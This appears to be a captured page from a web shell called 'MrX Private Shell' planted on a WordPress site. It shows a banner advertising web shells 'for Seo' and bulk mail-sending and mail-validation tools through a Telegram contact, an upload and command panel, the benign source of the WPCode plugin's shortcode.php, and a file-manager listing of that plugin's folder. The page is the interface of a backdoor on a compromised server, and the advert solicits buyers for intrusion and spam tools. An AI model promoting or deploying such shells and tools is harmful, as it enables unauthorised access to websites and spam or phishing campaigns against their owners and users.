__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Handle the generic WPCode shortcode.
 *
 * @package WPCode
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

add_shortcode( 'wpcode', 'wpcode_shortcode_handler' );
add_action( 'wpcode_shortcode_before_output', 'wpcode_pass_shortcode_attributes_to_snippet', 10, 4 );

add_filter( 'wpcode_shortcode_attribute_value', 'wp_kses_post' );

/**
 * Generic handler for the shortcode.
 *
 * @param array  $args The shortcode attributes.
 * @param string $content The shortcode content.
 * @param string $tag The shortcode tag.
 *
 * @return string
 */
function wpcode_shortcode_handler( $args, $content, $tag ) {
	$atts = wp_parse_args(
		$args,
		array(
			'id'            => 0,
			'wpcode_source' => 'shortcode',
		)
	);

	if ( 0 === $atts['id'] ) {
		return '';
	}

	$snippet = new WPCode_Snippet( absint( $atts['id'] ) );

	if ( ! $snippet->is_active() ) {
		return '';
	}

	// Let's check that conditional logic rules are met.
	if ( $snippet->conditional_rules_enabled() && ! wpcode()->conditional_logic->are_snippet_rules_met( $snippet ) && apply_filters( 'wpcode_shortcode_use_conditional_logic', true ) ) {
		return '';
	}

	$shortcode_location = apply_filters( 'wpcode_get_snippets_for_location', array( $snippet ), 'shortcode' );

	if ( empty( $shortcode_location ) ) {
		return '';
	}

	$snippet->location = $atts['wpcode_source'];

	do_action( 'wpcode_shortcode_before_output', $snippet, $atts, $content, $tag );

	return wpcode()->execute->get_snippet_output( $snippet );
}

/**
 * Before the shortcode output, let's check if we have to load any shortcode attributes to the class instance.
 *
 * @param WPCode_Snippet $snippet The snippet instance.
 * @param array          $atts The shortcode attributes.
 * @param string|null    $content Shortcode content, if any.
 * @param string         $tag The shortcode tag.
 *
 * @return void
 */
function wpcode_pass_shortcode_attributes_to_snippet( $snippet, $atts, $content, $tag ) {
	// Let's see if we have to load any shortcode attributes.
	$shortcode_attributes = $snippet->get_shortcode_attributes();
	if ( ! empty( $shortcode_attributes ) ) {
		foreach ( $shortcode_attributes as $attribute ) {
			$value = isset( $atts[ $attribute ] ) ? $atts[ $attribute ] : '';
			$snippet->set_attribute( $attribute, apply_filters( 'wpcode_shortcode_attribute_value', $value, $attribute ) );
		}
	}
	if ( ! empty( $content ) ) {
		$snippet->set_attribute( 'content', $content );
	}
}

Filemanager

Name Type Size Permission Actions
admin Folder 0775
auto-insert Folder 0775
conditional-logic Folder 0775
execute Folder 0775
generator Folder 0775
lite Folder 0775
capabilities.php File 2.74 KB 0775
class-wpcode-admin-bar-info.php File 13.62 KB 0775
class-wpcode-auto-insert.php File 3.6 KB 0775
class-wpcode-capabilities.php File 1.11 KB 0775
class-wpcode-conditional-logic.php File 5.23 KB 0775
class-wpcode-error.php File 7.55 KB 0775
class-wpcode-file-cache.php File 6.38 KB 0775
class-wpcode-file-logger.php File 8.54 KB 0775
class-wpcode-generator.php File 3.81 KB 0775
class-wpcode-install.php File 8.16 KB 0775
class-wpcode-library-auth.php File 6.92 KB 0775
class-wpcode-library.php File 18.31 KB 0775
class-wpcode-settings.php File 3.29 KB 0775
class-wpcode-smart-tags.php File 7.2 KB 0775
class-wpcode-snippet-cache.php File 3.97 KB 0775
class-wpcode-snippet-execute.php File 20.46 KB 0775
class-wpcode-snippet.php File 27.31 KB 0775
compat.php File 4.36 KB 0775
global-output.php File 1.74 KB 0775
helpers.php File 13.72 KB 0775
icons.php File 33.67 KB 0775
ihaf.php File 204 B 0775
legacy.php File 923 B 0775
pluggable.php File 656 B 0775
post-type.php File 3.28 KB 0775
safe-mode.php File 4.22 KB 0775
shortcode.php File 2.38 KB 0775
Filemanager